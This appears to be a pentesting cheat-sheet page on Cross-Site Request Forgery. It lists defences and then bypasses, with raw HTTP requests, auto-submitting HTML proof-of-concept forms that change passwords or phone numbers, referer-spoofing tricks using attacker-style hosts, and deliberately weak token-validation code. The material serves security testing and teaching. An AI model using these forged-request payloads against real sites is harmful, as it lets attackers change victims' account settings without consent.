CSRF

CWE-352: Cross-Site Request Forgery (CSRF)

What it is ??

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.

CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Methodology

CSRF Common Defenses

CSRF Tokens
SameSite Cookie
Json Content-Type
Requiring Re-authentication for Sensitive Actions
Double Submit Cookie Pattern
Origin and Referer Header Validation
Captchas
Custom Request Headers

CSRF Bypasses

ClickJacking

<html>
 <head>
 <title>Clickjack test page</title>
 </head>
 <body>
 <p>This page is vulnerable to clickjacking if the iframe is not blank!</p>
 <iframe src="PAGE_URL" width="500" height="500"></iframe>
 </body>
</html>

Change Request Method

# Request
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
--------------------------------------------

# Bypass
GET /password_change?new_password=abc123
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

Bypass CSRF Tokens stored on the server

# remove the token
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123
-------------------------------------------------------------
<html>
 <form method="POST" action="<https://email.example.com/password_change>" id="csrf-form">
 <input type="text" name="new_password" value="abc123">
 <input type='submit' value="Submit">
 </form>
 <script>document.getElementById("csrf-form").submit();</script>
</html>
----------------------------------------------------------------
# Empty Parameter
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=
---------------------------------------------------------------------
<html>
 <form method="POST" action="<https://email.example.com/password_change>" id"csrf-form">
 <input type="text" name="new_password" value="abc123">
 <input type="text" name="csrf_token" value="">
 <input type='submit' value="Submit">
</form>
 <script>document.getElementById("csrf-form").submit();</script>
</html>
--------------------------
# Expected Code
def validate_token():
 if (request.csrf_token == session.csrf_token):
		 pass
 else:
	 throw_error("CSRF token incorrect. Request rejected.")
[...]
def process_state_changing_action():
	 if request.csrf_token:
		 validate_token()
		 execute_action()

Weak Token Integriti ( Reuse token )

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
----------------------------------
<html>
 <form method="POST" action="<https://email.example.com/password_change>" id"csrf-form">
 <input type="text" name="new_password" value="abc123">
 <input type="text" name="csrf_token" value="871caef0757a4ac9691aceb9aad8b65b ">
 <input type='submit' value="Submit">
</form>
 <script>document.getElementById("csrf-form").submit();</script>
</html>
--------------------------------------------------------------
## Expected Code
def validate_token():
 if request.csrf_token:
	 if (request.csrf_token in valid_csrf_tokens):
			 pass
	 else:
		 throw_error("CSRF token incorrect. Request rejected.")
[...]
def process_state_changing_action():
 	 validate_token()
	 execute_action()
------------------------------------------------------------------------
# Exploit 
If the token is fixed value for the account then change the email to victim's email and make CSRF poc
with the old CSRF token from old requests

Bypass Double submit CSRF tokens

# Valid 
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=871caef0757a4ac9691aceb9aad8b65b
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
--------------------------
# Invalid
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=1aceb9aad8b65b871caef0757a4ac969
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
---------------------------------------
# Bypass 
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=not_a_real_token
(POST request body)
new_password=abc123&csrf_token=not_a_real_token

Bypass CSRF Referer Header Check

# Just Remove The referrer
<html>
 <meta name="referrer" content="no-referrer">
 <form method="POST" action="<https://email.example.com/password_change>" id="csrf-form">
 <input type="text" name="new_password" value="abc123">
 <input type='submit' value="Submit">
 </form>
 <script>document.getElementById("csrf-form").submit();</script>
</html>
--------------------
# Expected Code
def validate_referer():
 if (request.referer in allowlisted_domains):
pass
 else:
 throw_error("Referer incorrect. Request rejected.")
[...]
def process_state_changing_action():
 if request.referer:
 validate_referer()
 execute_action()
---------------------------
# another way
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: example.com.attacker.com
(POST request body)
new_password=abc123
------------------
# Vulnerable code
def validate_referer():
 if request.referer:
 if ("example.com" in request.referer):
 pass
 else:
 throw_error("Referer incorrect. Request rejected.")
[...]
def process_state_changing_action():
 validate_referer()
 execute_action()

CSRF in JSON-Based Requests

<html>
  <head><meta name="referrer" content="unsafe-url"></head>
  <body>
  <script>history.pushState('', '', '/')</script>
  <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
    <input type="hidden"
    name= '{"phone":"01111111118","a":"' value='"}'>
    </form>
    <script>
      history.pushState("", "", "/anything@account.example.com")
      document.forms[0].submit();
    </script>
  </body>
</html>

------------------------------
# Request
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: https://evil.com/test@example.com

{"phone":"01111111118","a":""}

Bypass by changing Content Type and Body Encoding

POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: application/json

{"phone":"01111111118","a":""}
--------------
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: application/x-www-form-urlencoded

phone=01111111118
-----------------------------
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: plain/text

phone=01111111118

Bypass CSRF Protection by Using XSS
Steal victim CSRF Token Via XSS Vulnerability
Replace the token with unreal token but with the same length
Bypass using subdomain takeover + CORS

Try to decrypt the hash (maybe CSRF is a hash)
Analyze Token(use burp)
- Sometimes Anti-CSRF token is composed of two parts, one of them remains static while the other one is dynamic."837456mzy29jkd911139" for one request the other time "837456mzy29jkd337221" if you notice, "837456mzy29jkd" part of the token remains same, send the request with only the static part
Sometimes the anti-csrf check is dependent on User-Agent as well.
- If you try to use a mobile/tablet user agent, the application may not even check for an anti-csrf token.

Slides

Where To Find

Authentication-Required Actions: Look for actions that require authentication, such as changing account settings, updating passwords, or making transactions. These are common areas where CSRF vulnerabilities can have significant impact.
User Profile Changes: Check for actions related to user profile changes, such as updating email addresses, changing personal information, or modifying profile pictures.
Account Deletion or Suspension: Actions that allow a user to delete or suspend their account could be targets for CSRF attacks.
Payment and Transactional Actions: Look for payment-related actions like making transactions, adding payment methods, or modifying subscription plans.
Form Submissions: Any action that involves form submissions could potentially be a target. This includes actions like submitting support tickets, submitting feedback, or submitting any kind of content.
CSRF Tokens: Some applications use CSRF tokens as a mitigation technique. Look for instances where CSRF tokens are missing or improperly validated. You might find CSRF tokens in hidden fields within HTML forms or as headers in AJAX requests.
Third-Party Integrations: If the application integrates with third-party services or APIs, check if these integrations are susceptible to CSRF attacks.
Changing Security Settings: Actions related to changing security settings, like enabling two-factor authentication (2FA) or changing security questions, can also be targets.
Privilege Escalation: Actions that involve escalating user privileges, such as changing a user's role or permissions, should be thoroughly tested for CSRF vulnerabilities.
Logging Out: Even the logout functionality can be exploited through CSRF attacks, forcing a victim to unknowingly log out.
Password Reset: If the password reset process doesn't include proper CSRF protections, an attacker could potentially change a user's password without their consent.
test login, logout, reset pass, change password, add-cart, like, comment, profile change, user details change, balance transfer, subscription, etc

Write-ups

Reports

PreviousCRLF NextHost Header Attacks

Last updated 6 months ago

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